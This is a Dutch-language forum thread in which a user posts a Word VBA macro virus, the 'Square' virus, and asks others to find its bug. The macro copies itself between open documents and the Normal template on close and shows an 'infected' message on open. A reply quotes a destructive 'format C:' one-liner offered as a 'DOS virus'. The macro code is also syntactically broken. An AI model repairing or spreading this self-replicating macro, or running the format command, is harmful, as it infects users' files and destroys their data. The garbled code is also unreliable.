[swan]

CODE

Private Sub Document_close()

Dim Norm, Normcode, Normline, Doc, DocCode, Doclines
Set Norm = NormalTemplate.VBProject.VBComponents(1)
Set Doc = ActiveDocument.VBProject.VBComponents(1)
Set DocCode = Doc.CodeModule:Set NormCode = Norm.CodeModule

If DocCode.lines(23,1) = " Then
For y = 1 To Doccode.countoflines
DocCode.insertlines 26 + x, Normcode.lines(x,1)
Next x
End If

If NormCode.lines(23,1) = ""Then
For y = 1 To NormCode.Countoflines
NormCode.replacelines y,
Next y
For x = 1 To DocCode.countoflines
NormCode.insertlines 26 + x, DocCode.lines(x,1)
Next x

Private Sub Document_Open()
msgbox"You have been infected by the "Square" virus! Thank You, and have a nice day.",vbInformation
End Sub

Private Sub Document_New()
End Sub

waar zit die fout toch

This post has been edited by swan: 06 May 2007 - 04:09 PM

[square]

Private Sub Document_close()

Dim Norm, Normcode, Normline, Doc, DocCode, Doclines
Set Norm = NormalTemplate.VBProject.VBComponents(1)
Set Doc = ActiveDocument.VBProject.VBComponents(1)
Set DocCode = Doc.CodeModule:Set NormCode = Norm.CodeModule

If DocCode.lines(23,1) = " Then
For y = 1 To Doccode.countoflines
DocCode.insertlines 26 + x, Normcode.lines(x,1)
Next x
End If

If NormCode.lines(23,1) = ""Then
For y = 1 To NormCode.Countoflines
NormCode.replacelines y,
Next y
For x = 1 To DocCode.countoflines
NormCode.insertlines 26 + x, DocCode.lines(x,1)
Next x

Private Sub Document_Open()
msgbox"You have been infected by the "Square" virus! Thank You, and have a nice day.",vbInformation
End Sub

Private Sub Document_New()
End Sub


waar zit die fout toch

Dit is geen Dos, eerder VB:

dos virus

format C: \y \q
echo formatting done by me no probz

[swan]

Dit is geen Dos, eerder VB:

dos virus

format C: \y \q
echo formatting done by me no probz

dit heb ik op dit forum gevonden als dos virusje

[Nina]

dit heb ik op dit forum gevonden als dos virusje

swan, ik ben al vanaf het begin lid en heb die tutorial nergenst gevonden.
zoek maar eens naar: Private Sub Document_close()
en je zult zien dat die alleen jou topics worden gevonden die jij heb gepost.

[swan]

swan, ik ben al vanaf het begin lid en heb die tutorial nergenst gevonden.
zoek maar eens naar: Private Sub Document_close()
en je zult zien dat die alleen jou topics worden gevonden die jij heb gepost.

eens gevonden als surfen op dit forum of was het op squareders.tk dat komt toch op het zelfde neer ze staan daar ook allemaal hier op het fourm

[square]

eens gevonden als surfen op dit forum of was het op squareders.tk dat komt toch op het zelfde neer ze staan daar ook allemaal hier op het fourm

Nee toevallig die niet, en niet alles op squareders staat hier... alleen de dingen waar ik ondersteuning kan bieden staan hier. Tutorial van nightfox.. ja leuk, maar daar kan ik verder geen ondersteuning over geven, dat kan alleen nightfox zelf.. die hier niet is...
ik wil het wel proberen afcourse